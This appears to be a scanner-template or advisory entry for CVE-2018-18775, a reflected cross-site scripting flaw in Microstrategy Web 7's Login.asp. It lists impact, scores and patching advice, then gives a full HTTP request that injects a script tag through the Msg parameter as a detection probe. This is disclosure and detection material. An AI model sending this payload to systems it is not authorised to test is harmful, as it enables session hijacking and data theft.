| Title | Microstrategy Web 7 - Cross-Site Scripting |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest security patches or updates provided by Microstrategy to fix the XSS vulnerability in the Web 7 application. |
| CVSS Score | 6.1 |
| EPSS Score | 0.16021 |
| CVE ID | CVE-2018-18775 |
| CWE ID | CWE-79 |
| Tags | cve2018 cve microstrategy xss edb packetstorm intrusive vkev vuln |
Microstrategy Web 7 does not sufficiently encode user-controlled inputs, resulting in cross-site scripting via the Login.asp Msg parameter.
GET /microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/38FcNbRLFEf1vhcZhir6MSIHTmu/)%3B%3C%2Fscript%3E%3C HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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